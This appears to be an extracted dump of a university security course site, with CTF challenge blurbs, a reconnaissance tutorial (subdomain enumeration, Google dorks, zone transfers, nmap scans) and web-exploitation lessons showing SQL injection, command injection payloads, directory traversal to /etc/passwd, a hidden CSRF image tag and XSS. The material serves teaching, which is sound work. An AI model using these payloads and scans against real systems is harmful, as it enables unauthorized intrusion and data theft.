While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf
is called with a non-constant string.
#include <stdio.h>\n#include <unistd.h>\n\nint main() {\n int secret_num = 0x8badf00d;\n\n char name[64] = {0};\n read(0, name, 64);\n printf(\"Hello \");\n printf(name);\n printf(\"! You'll never get my secret!\\n\");\n return 0;\n}\n
Due to how GCC decided to lay out the stack, secret_num
is actually at a lower address on the stack than name
, so we only have to go to the 7th \"argument\" in printf
to leak the secret:
$ ./fmt_string\n%7$llx\nHello 8badf00d3ea43eef\n! You'll never get my secret!\n
"},{"location":"CS315/2021/Week%203/#exercise","title":"Exercise","text":""},{"location":"CS315/2021/Week%203/#5-pt-gimme-the-report-the-boss-said","title":"(5 pt) \"Gimme the report.\" The Boss said","text":"CS315 course is open, and this year we added some CTF challenges to the lab tutorial. After 3 weeks of teaching, our professor wants some feedback from students.
\"Design a service, please. Gather some feedback and report from students of CS315.\"
\"Sure.\" Answered in no time, but I got super nervous because of me, as a computer science graduate, don't know how to programming.
By the way, I already got some report said that why this course so easy
, please tell something hard
. Fine, I'll just write my program that reads from user input, but stores nothing.
No store, no vulnerability.
Yeah, I'm going to save my job!
my_super_secret_report_service
my_super_secret_report_service.c
nc ali.infury.org 10004
It's super hard to convince my Boss that report system is just broken temporarily. Now I'm going to learn programming and security very hard to save my job.
---- 2 DAYS LATER ----
Totally didn't learn.
\"Some students want to enroll this course, please make something to collect enroll.\"
\"But, but this course is full already...\"
\"CS315 is hard, someone gonna to quit. So, in case anyone want to enroll, we need to handle this.\" The Boss looked at me, \"can't you programming?\"
\"Yep! Yeah, seriously I can programming very well!\"
I need to prepare my CV now.
awesome_enroll_service
awesome_enroll_service.c
nc ali.infury.org 10005
Please use netcat to connect and solve challenges! And don't ask why there isn't a flag.txt in source code...
"},{"location":"CS315/2021/Week%203/#bonus-5-pt-me-worked-in-maid-cafes","title":"(BONUS 5 pt) Me, worked in maid cafes","text":"Yet another programming order from cafes.
So called maid cafes, their Boss wants me to design a service to collect costumers' requirements.
The Boss promised me if I can finish such a program, I can come to the cafes free forever. So stuck in the flavor of coffee (not the maid I promise) that I swear gonna to get this work done.
Very strange I don't understand the details of this program (like how big, how far, which requirements are they?), and why some CS315 students are pentesting my program.
Luckily I learned about some security parameters already, so I simply turned them on.
maid
ld-linux-x86-64.so.2
libc.so.6
This is a ROP challenge and you may find it's difficult. But success solvers will win a badge.
"},{"location":"CS315/2021/Week%204/","title":"Week4 WEB: Information Discovery","text":"According to @d00mfist: https://d00mfist.gitbooks.io/ctf/content/
"},{"location":"CS315/2021/Week%204/#information-discovery","title":"Information Discovery","text":"So once you have decided on a target you want to start your recon-process.
The recon-phase is usually divided up into two phases.
This is when you start scanning the target with your different tools.
"},{"location":"CS315/2021/Week%204/#passive-information-gathering","title":"Passive information gathering","text":"It is passive in the meaning that it doesn't directly send packets to the service. But in any other sense of the word there is nothing passive about this phase.
"},{"location":"CS315/2021/Week%204/#visit-the-website","title":"Visit the website","text":"Okay, I guess this actually sends packets to the target, but whatever. Visit the page, look around, read about the target. What do they do?
"},{"location":"CS315/2021/Week%204/#whois","title":"Whois","text":"Find out who is behind the website.
Resolve the DNS
host website.com\nnslookup website.com\n
The the IP address and check it with whois
whois 192.168.1.101\n
"},{"location":"CS315/2021/Week%204/#netcraft","title":"Netcraft","text":"Most of the info found on netcraft is not unique. It is basic whois info. But one thing is really good, it lists the different IP-addresses the page has had over the years. This can be a good way to bypass cloudflare and other services that hide the real IP. Using netcraft we can find the IP that was in use before they implemented cloudflare.
Another detail that is good to know is the hosting-company or domain-provider. Those details can be used if we want to try some social-engineering or spear-phishing attack.
Netcraft
"},{"location":"CS315/2021/Week%204/#find-subdomains","title":"Find Subdomains","text":"Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.
For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains
"},{"location":"CS315/2021/Week%204/#dns-basics","title":"DNS Basics","text":"This is the best article I have found about how the DNS-system works. Form the highest to the lowest level.
An introduction to dns-terminology components and concepts
Before we begin to look at the specific techniques that exists to find subdomains, lets try to understand what subdomains are and how they work.
A - records
A stands for address.
The A record maps a name to one or more IP addresses, when the IP are known and stable. So that would be 123.244.223.222 => example.com
AAAA - points to a IPv6 Record
CNAME
The CNAME record connects a name to another name. An example of that would be:
www.example.com,CNAME,www.example.com.cdn.cloudflare.net.\n
Another example is. If you have the domains mail.example.com and webmail.example.com. You can have webmail.example.com point to mail.example.com. So anyone visiting webmail.example.com will see the same thing as mail.example.com. It will NOT redirect you. Just show you the same content.
Another typical usage of CNAME is to link www.example.com to example.com
CNAME is quite convenient. Because if you change the A-record. The IP-address, you don't need to change the other subdomains, like ftp.example.com or www.example.com. Since they both point to example.com, which is a A-record and points directly to the IP.
Another note. If foo.example.com points to bar.example.com, that mean that bar.example.com is the CNAME (Canonical/real/actual Name) of foo.example.com.
Alias
Kind of like CNAME in that it points to another name, not an IP.
MX - Mail exchange
https://en.wikipedia.org/wiki/MX_record
"},{"location":"CS315/2021/Week%204/#find-subdomains_1","title":"Find Subdomains","text":"Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.
For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains
Some tools find some stuff, other tools other stuff. So your best bet is to use a few of them together. Don't forget to brute-force recursively!
"},{"location":"CS315/2021/Week%204/#recon-ng","title":"recon-ng","text":"In order to find subdomains we can use the recon-ng framework. It has the same basic structure as metasploit. You can learn more about this tool in the tools-section.
recon-ng\n\nuse use recon/domains-hosts/\n\n# This will give you a vast amount of alternatives.\n\nshow options\n\nset source cnn.com\n
All these subdomains will be saved in hosts
, which you can access though: show hosts
If some of these subdomains are not given IPs automatically you can just run
use recon/hosts-hosts/resolve\nrun\n
And it will resolve all the hosts in the hosts-file.
"},{"location":"CS315/2021/Week%204/#google-dorks","title":"Google Dorks","text":"Using google we can also find subdomains.
This will only give us the subdomains of a site.
site:msn.com -site:www.msn.com\nsite:*.nextcloud.com\n
To exclude a specific subdomain you can do this:
site:*.nextcloud.com -site:help.nextcloud.com\n
"},{"location":"CS315/2021/Week%204/#subbrutepy","title":"subbrute.py","text":"The basic command is like this
./subbrute.py -p cnn.com\n
https://github.com/TheRook/subbrute
"},{"location":"CS315/2021/Week%204/#knock","title":"Knock","text":"I haven't tested this yet. https://github.com/guelfoweb/knock
"},{"location":"CS315/2021/Week%204/#being-smart","title":"Being smart","text":"You also have to look at what kind of system the target has. Some web-apps give their clients their own subdomains. Like github.
Check out the homepage Often companies brag about their clients. You can use this to guess the subdomains of some clients.
"},{"location":"CS315/2021/Week%204/#reverse-dns-lookup","title":"Reverse DNS-lookup","text":"If you manage to figure out the IP range that the target owns (see section about nmap below). You can see which machines are online. And then you can run a script to find out the domain-addresses of those machines. That way you might find something new.
The text-file onlyIps.txt is a textfile with one IP-address on each line.
#!/bin/bash\n\nwhile read p; do\n echo $p;\n host $p\ndone <onlyIps.txt\n
Here are some more tools that can do reverse lookup http://www.cyberciti.biz/faq/how-to-test-or-check-reverse-dns/
"},{"location":"CS315/2021/Week%204/#online-tools","title":"Online tools","text":""},{"location":"CS315/2021/Week%204/#dnsdumpster","title":"DNSDumpster","text":"https://dnsdumpster.com/
"},{"location":"CS315/2021/Week%204/#pentest-tools","title":"Pentest-tools","text":"https://pentest-tools.com/information-gathering/find-subdomains-of-domain
"},{"location":"CS315/2021/Week%204/#intodns","title":"Intodns","text":"http://www.intodns.com/
"},{"location":"CS315/2021/Week%204/#dnsstuff","title":"DNSStuff","text":"This tool doesn't enumerate subdomains per se. But it hands of a lot of information about domains. http://www.dnsstuff.com/
"},{"location":"CS315/2021/Week%204/#bypassing-cloudflare","title":"Bypassing CloudFlare","text":"https://www.ericzhang.me/resolve-cloudflare-ip-leakage/
This tool can be used to find old IPs. It could mean that the http://toolbar.netcraft.com/site_report?url=lyst.com
"},{"location":"CS315/2021/Week%204/#brute-force-dictionaries","title":"Brute force dictionaries","text":"If you try to brute force the domains it is a good idea to have a good dictionary. That can be found here:
Bitquark https://github.com/bitquark/dnspop
SecList https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
"},{"location":"CS315/2021/Week%204/#dns-zone-transfer-attack","title":"DNS Zone Transfer Attack","text":"Sometimes DNS servers are misconfigured. The DNS server contains a Zone file which it uses to replicate the map of a domain. They should be configured so that only the replicating DNS-server can access it, but sometimes it is misconfigured so anyone can request the zone file, and thereby recieve the whole list of subdomains. This can be done the following way:
To do this we first need to figure out which DNS-servers a domain has.
host -t ns wikipedia.com\nhost -l wikipedia.com ns1.wikipedia.com\n
This can also be done with tools such as dnsrecon and dnsenum.
https://security.stackexchange.com/questions/10452/dns-zone-transfer-attack
"},{"location":"CS315/2021/Week%204/#search-engine-discovery","title":"Search Engine Discovery","text":"Search engines can be very useful for finding information about the target. Search engines can be used for two things:
Remember that the world is bigger than google. So test out the other search engines.
Baidu, binsearch.info, Bing, DuckDuckGo, ixquick/Startpage, Shodan,PunkSpider
Google is a good tool to learn more about a website.
"},{"location":"CS315/2021/Week%204/#finding-specific-filetypes","title":"Finding specific filetypes","text":"filetype:pdf\n
"},{"location":"CS315/2021/Week%204/#search-within-webaddress","title":"Search within webaddress","text":"site:example.com myword\n
"},{"location":"CS315/2021/Week%204/#find-in-url","title":"Find in url","text":"inurl:test.com\n
"},{"location":"CS315/2021/Week%204/#wild-cards","title":"Wild cards","text":"You can use the asterisk to as a wildcard:
*\n
Example:
\"I've been * for a heart\"\n
This will return answers where * is anything.
"},{"location":"CS315/2021/Week%204/#exclude-words","title":"Exclude words","text":"-\n
the dash excludes a specific word
This query searches for pages that used the word bananasplit.
-banana bananasplit\n
"},{"location":"CS315/2021/Week%204/#cached-version","title":"Cached version","text":"So if a website has been taken down you can still find the cached version, of the last time google visited the site
cache:website.com\n
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
"},{"location":"CS315/2021/Week%204/#examples","title":"Examples","text":"Find login-pages on sites that use the ending .bo. For bolivia.
site:bo inurl:admin.php\n
"},{"location":"CS315/2021/Week%204/#active-information-gathering","title":"Active information gathering","text":"Once the passive phase is over it is time to move to the active phase. In this phase we start interacting with the target.
"},{"location":"CS315/2021/Week%204/#netdiscover","title":"Netdiscover","text":"This tool is used to scan a network for live machines.
netdiscover -r 192.168.1.1/24\n
"},{"location":"CS315/2021/Week%204/#nikto","title":"Nikto","text":"Nikto is a good tool to scan webservers. It is very intrusive.
nikto -host 192.168.1.101\n
"},{"location":"CS315/2021/Week%204/#port-scanning","title":"Port Scanning","text":""},{"location":"CS315/2021/Week%204/#tldr","title":"TLDR","text":"# Stealthy\nnmap -sS 10.11.1.X\n\n# Scan all ports, might take a while.\nnmap 10.11.1.X -p-\n\n# Scan for UDP\nnmap 10.11.1.X -sU\nunicornscan -mU -v -I 10.11.1.X\n\n# Scan for version, with NSE-scripts and trying to identify OS\nnmap 10.11.1.X -sV -sC -O\n\n# All out monsterscan\nnmap -vvv -Pn -A -iL listOfIP.txt\n\n# Fast scan\nnmap 10.11.1.X -F\n\n# Only scan the 100 most common ports\nnmap 10.11.1.X --top-ports 100\n
"},{"location":"CS315/2021/Week%204/#nmap","title":"Nmap","text":"Now that you have gathered some IP addresses from your subdomain scanning it is time to scan those addresses. You just copy-paste those addresses and add them to a file, line by line. Then you can scan all of them with nmap at the same time. Using the -iL
flag.
Okay, so a bit of the basics of Nmap and how it works. When one machine initiate a connection with another machine using the transmission-control protocol (tcp) it performs what is know as a three-way handshake. That means:
machine1 sends a syn packet to machine2\nmachine2 send a syn-ack packet to machine1\nmachine1 sends a ack packet to machine2.\n
If machine2 responds with a syn-ack we know that that port is open. This is basically what nmap does when it scans for a port. If machine1 omits the last ack packet the connection is not made. This can be a way to make less noise.
This is the default mode for nmap. If you do not add any flags and scan a machine this is the type of connection it creates.
"},{"location":"CS315/2021/Week%204/#stealthy-ss","title":"\"Stealthy\" -sS","text":"By adding the -sS
flag we are telling nmap to not finalize the three way handshake. It will send a syn
, receive syn-ack
(if the port is open), and then terminate the connection. This used to be considered stealthy before, since it was often not logged. However it should not be considered stealthy anymore.
In the flag I imagine that the first s
stands for scan/scantype and the second S
stands for syn
.
So -sS
can be read as scantype syn
UDP is after TCP the most common protocol. DNS (53), SNMP (161/162) and DHCP (67/68) are some common ones. Scanning for it is slow and unreliable.
-sU\n
"},{"location":"CS315/2021/Week%204/#output-scan-to-a-textfile","title":"Output scan to a textfile","text":"Not all output works with grepable format. For example NSE does not work with grepable. So you might want to use xml instead.
# To text-file\n-oN nameOfFile\n\n# To grepable format\n-oG nameOfFile\n\n# To xml\n-oX nameOfFile\n
"},{"location":"CS315/2021/Week%204/#scan-an-entire-ip-range","title":"Scan an entire IP-range","text":"You might find that a site has several machines on the same ip-range. You can then use nmap to scan the whole range.
The -sn
flag stops nmap from running port-scans. So it speeds up the process.
nmap -vvv -sn 201.210.67.0/24\n
You can also specify a specific range, like this
nmap -sP 201.210.67.0-100\n`\n
"},{"location":"CS315/2021/Week%204/#sort-out-the-machines-that-are-up","title":"Sort out the machines that are up","text":"So let's say you find that 40 machine exists in that range. We can use grep to output those IP:s.
First let's find the IPs that were online. Ip-range is the output from previous command. You can of course combine them all.
cat ip-range.txt | grep -B 1 \"Host is up\"\n
Now let's sort out the ips from that file.
grep -o '[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}' ip-range.txt > only-ip.txt\n
Now you can input all those ips to nmap and scan them.
"},{"location":"CS315/2021/Week%204/#scan-a-range-and-output-if-a-specific-port-is-open","title":"Scan a range and output if a specific port is open","text":"Nmap has a command to make the output grepable.
nmap -vvv -p 80 201.210.67.0-100 -oG - | grep 80/open\n
"},{"location":"CS315/2021/Week%204/#nmap-scripts","title":"Nmap scripts","text":"This chapter could also be placed in Vulnerability-analysis and Exploitation. Because nmap scripting is a really versatile tool that can do many things. Here we will focus on it's ability to retrieve information that can be useful in the process to find vulnerabilities
First locate the nmap scripts. Nmap scripts end in .nse
. For Nmap script engine.
locate *.nse\n
The syntax for running a script is:
nmap --script scriptname 192.168.1.101\n
To find the \"man\"-pages, the info about a script we write:
nmap -script-help http-vuln-cve2013-0156.nse\n
Run multiple scripts
Can be run by separating the script with a comma
nmap --script scriptone.nse,sciprt2.nse,script3.nse 192.168.1.101\n
Run the default scripts
nmap -sC example.com\n
"},{"location":"CS315/2021/Week%204/#metasploit","title":"Metasploit","text":"We can do port-scanning with metasploit and nmap. And we can even integrate nmap into metasploit. This might be a good way to keep your process neat and organized.
"},{"location":"CS315/2021/Week%204/#db_nmap","title":"db_nmap","text":"You can run db_nmap
and all the output will be stored in the metasploit database and available with
hosts\nservices\n
You can also import nmap scans. But you must first output it in xml-format with the following flag
nmap 192.168.1.107 -oX result.xml\n
Good practice would be to output the scan-results in xml, grepable and normal format. You do that with
nmap 192.168.1.107 -oA result\n
Then you can load it into the database with the following command.
db_import /path/to/file.xml\n
"},{"location":"CS315/2021/Week%204/#metasploit-portscan-modules","title":"Metasploit PortScan modules","text":"If you for some reason don't have access to nmap you can run metasploits modules that does portscans
use auxiliary/scanner/portscan/\n
"},{"location":"CS315/2021/Week%204/#stealing-sensitive-information-disclosure-from-a-web","title":"Stealing Sensitive Information Disclosure from a Web","text":"If at some point you find a web page that presents you sensitive information based on your session: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it. Here I present you the main ways to can try to achieve it:
This week we won't have CTF grades. But you still can have a try.
"},{"location":"CS315/2021/Week%204/#0-pt-kitten-war-behind-the-domain","title":"(0 pt) Kitten War: Behind the Domain","text":"Each year, those dragon-li cats would have a war with orange cats. From dining hall to library, from Lychee Hill to TB2. All day to night they fought together to claim manor.
However, this year things are different. Since the COVID-19 becomes serious and dangerous, which can also infect cats. Kitten war would be hold online.
Now, dragon-li cats just borrowed ours domain name to establish their website. Once the website is finished, they would hire too many cats that orange cats can't fight.
One day, when you step into TB2, an orange cat stopped you and begged, \"humble human, please help us! We are losing the war.\"
\"Find out what are those dragon-li cats hiding. If you can retrieve the flag behind the domain, I would allow you to pat my belly - for 2 seconds!\"
Kittens are so lovely, you can't resist and start to discover DNS records...
compass.college
Hint1: cats like TXT because TXT looks so cute!
Hint2: cats only know a few words listed in the file below.
wordlist.txt
"},{"location":"CS315/2021/Week%204/#0-pt-kitten-war-5-cats-in-a-row","title":"(0 pt) Kitten War: 5 Cats in a Row","text":"Two dragon-li cats are staring at you for a while, since the last cyber attack. After you step into the classroom in TB1, a dragon-li cat jumped on the desk and starts talking to you.
\"Orange cats are greedy. Team with us dragon-li cats.\" That cat licks its claw, said, \"TB1 is ours manor, if you team with us, you can always pat cats in TB1.\"
\"Now, here's your mission. Orange cats are using a website built by a CTFer from COMPASS. That guy is a noob and the website must be full of vulnerabilities. Check the sensitive files on the website and find us some flag.\"
\"If we make orange cats have the website. They would be allowed to purchase dangerous weapons from online market. Then we won't defeat them in video games!\"
Without a hesitate, you start to hack the website:
Very cheap and nice weapons for orange cats :P)
"},{"location":"CS315/2021/Week%204/#bonus-0-pt-kitten-war-black-means-blind","title":"(BONUS 0 pt) Kitten War: Black means Blind","text":"The war has lasted for 2 months.
The dragon-li cats are settling in TB1 and dining hall, while the orange cats are claimed Lychee Hill and TB2.
A black cat was so struggle with these fights. The cat, said, \"we, we are cats. We slept 20 hours a day. Why do we bother fighting instead of sleeping?\"
\"Now you have a choice to stop the war,\" the black cat said, \"everyone are looking at obvious things, but nobody cares about blind night.\"
\"Log in COMPASS admin panel and use the final flag to stop the meaningless war.\"
COMPASS Admin Note
app.py
"},{"location":"CS315/2021/Week%205/","title":"Week5 WEB: Vulnerability Exploit","text":"According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%205/#web-exploitation","title":"Web Exploitation","text":"Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming language that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privilege.
Common vulnerabilities to see in CTF challenges:
SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.
<?php\n $username = $_GET['username']; // kchung\n $result = mysql_query(\"SELECT * FROM users WHERE username='$username'\");\n?>\n
If we look at the $username variable, under normal operation we might expect the username parameter to be a real username (e.g. kchung).
But a malicious user might submit different kind of data. For example, consider if the input was '
?
The application would crash because the resulting SQL query is incorrect.
SELECT * FROM users WHERE username='''\n
Notice the extra single quote at the end.
With the knowledge that a single quote will cause an error in the application we can expand a little more on SQL Injection.
What if our input was ' OR 1=1
?
SELECT * FROM users WHERE username='' OR 1=1\n
1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying
SELECT * FROM users WHERE username='' OR true\n
This will return every row in the table because each row that exists must be true.
We can also inject comments and termination characters like --
or /*
or ;
. This allows you to terminate SQL queries after your injected statements. For example '--
is a common SQL injection payload.
SELECT * FROM users WHERE username=''-- '\n
This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--
) that effectively hides the second single quote.
Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.
"},{"location":"CS315/2021/Week%205/#command-injection","title":"Command Injection","text":"Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system()
command or its equivalent in the programming language of the application.
import os\n\ndomain = user_input() # ctf101.org\n\nos.system('ping ' + domain)\n
The above code when used normally will ping the ctf101.org
domain.
But consider what would happen if the user_input()
function returned different data?
import os\n\ndomain = user_input() # ; ls\n\nos.system('ping ' + domain)\n
Because of the additional semicolon, the os.system()
function is instructed to run two commands.
It looks to the program as:
ping ; ls\n
The semicolon terminates a command in bash and allows you to put another command after it.
Because the ping
command is being terminated and the ls
command is being added on, the ls
command will be run in addition to the empty ping command!
This is the core concept behind command injection. The ls
command could of course be switched with another command (e.g. wget, curl, bash, etc.)
Command injection is a very common means of privelege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.
"},{"location":"CS315/2021/Week%205/#example-payloads","title":"Example Payloads","text":";ls
$(ls)
ls
Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.
Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.
For example, consider an application that allows the user to choose what page to load from a GET parameter.
<?php\n $page = $_GET['page']; // index.php\n include(\"/var/www/html/\" . $page);\n?>\n
Under normal operation the page would be index.php
. But what if a malicious user gave in something different?
<?php\n $page = $_GET['page']; // ../../../../../../../../etc/passwd\n include(\"/var/www/html/\" . $page);\n?>\n
Here the user is submitting ../../../../../../../../etc/passwd
.
This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.
include(\"/var/www/html/../../../../../../../../etc/passwd\");\n
Ultimately this will become /etc/passwd
because the computer will not go a directory above its top directory.
Thus the application will load the /etc/passwd
file and emit it to the user like so:
root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false\n_apt:x:104:65534::/nonexistent:/bin/false\n
This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.
"},{"location":"CS315/2021/Week%205/#cross-site-request-forgery-csrf","title":"Cross Site Request Forgery (CSRF)","text":"A Cross Site Request Forgery or CSRF Attack, pronounced see surf, is an attack on an authenticated user which uses a state session in order to perform state changing attacks like a purchase, a transfer of funds, or a change of email address.
The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through an <img>
tag or an <iframe>
where references to external resources are unverified.
GET
requests are often used by websites to get user input. Say a user signs in to an banking site which assigns their browser a cookie which keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]\n
Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:
<img src=\"http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]\" width=\"0\" height=\"0\" border=\"0\">\n
"},{"location":"CS315/2021/Week%205/#cross-site-scripting-xss","title":"Cross Site Scripting (XSS)","text":"Cross Site Scripting or XSS is a vulnerability where on user of an application can send JavaScript that is executed by the browser of another user of the same application.
This is a vulnerability because JavaScript has a high degree of control over a user's web browser.
For example JavaScript has the ability to:
By combining all of these abilities, XSS can maliciously use JavaScript to extract user's cookies and send them to an attacker controlled server. XSS can also modify the DOM to phish users for their passwords. This only scratches the surface of what XSS can be used to do.
XSS is typically broken down into three categories:
Reflected XSS is when an XSS exploit is provided through a URL paramater.
For example:
https://ctf101.org?data=<script>alert(1)</script>\n
You can see the XSS exploit provided in the data
GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.
For example:
<html>\n <body>\n <script>alert(1)</script>\n </body>\n</html>\n
Depending on where the exploit gets injected, it may need to be constructed differently.
Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit it to an external server, or to simply modify the page to deface it.
One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker controlled resource. Notice that if the data paramter, wasn't provided the exploit wouldn't work.
In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicous XSS payloads in URLs.
"},{"location":"CS315/2021/Week%205/#stored-xss","title":"Stored XSS","text":"Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.
Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.
The reason being that the web site itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.
"},{"location":"CS315/2021/Week%205/#dom-xss","title":"DOM XSS","text":"DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.
The server itself is not to blame, but the client side JavaScript files are causing the issue.
"},{"location":"CS315/2021/Week%205/#server-side-request-forgery-ssrf","title":"Server Side Request Forgery (SSRF)","text":"Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.
For example, say there is a website that lets you take a screenshot of any site on the internet.
Under normal usage a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost ? Or perhaps tries to access something more useful like http://localhost/server-status ?
127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.
Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.
In addition, the requests originating from the server would come from the server's IP not the attackers IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.
Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.
"},{"location":"CS315/2021/Week%205/#php","title":"PHP","text":"PHP is one of the most used languages for back-end web development and therefore it has become a target by hackers. PHP is a language which makes it painful to be secure for most instances, making it every hacker's dream target.
"},{"location":"CS315/2021/Week%205/#overview","title":"Overview","text":"PHP is a C-like language which uses tags enclosed by <?php ... ?>
(sometimes just <? ... ?>
). It is inlined into HTML. A word of advice is to keep the php docs open because function names are strange due to the fact that the length of function name is used to be the key in PHP's internal dictionary, so function names were shortened/lengthened to make the lookup faster. Other things include:
$name
$$name
$_GET, $_POST, $_SERVER
<?php\n if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['email']) && isset($_POST['password'])) {\n $db = new mysqli('127.0.0.1', 'cs3284', 'cs3284', 'logmein');\n $email = $_POST['email'];\n $password = sha1($_POST['password']);\n $res = $db->query(\"SELECT * FROM users WHERE email = '$email' AND password = '$password'\");\n if ($row = $res->fetch_assoc()) {\n $_SESSION['id'] = $row['id'];\n header('Location: index.php');\n die();\n }\n }\n?>\n<html>...\n
This example PHP simply checks the POST data for an email and password. If the password is equal to the hashed password in the database, the use is logged in and redirected to the index page.
The line email = '$email'
uses automatic string interpolation in order to convert $email into a string to compare with the database.
PHP will do just about anything to match with a loose comparison (==) which means things can be 'equal' (==) or really equal (===). The implicit integer parsing to strings is the root cause of a lot of issues in PHP.
"},{"location":"CS315/2021/Week%205/#type-comparison-table","title":"Type Comparison Table","text":""},{"location":"CS315/2021/Week%205/#comparisons-of-x-with-php-functions","title":"Comparisons of $x with PHP Functions","text":"Expression gettype() empty() is_null() isset() boolean:if($x)
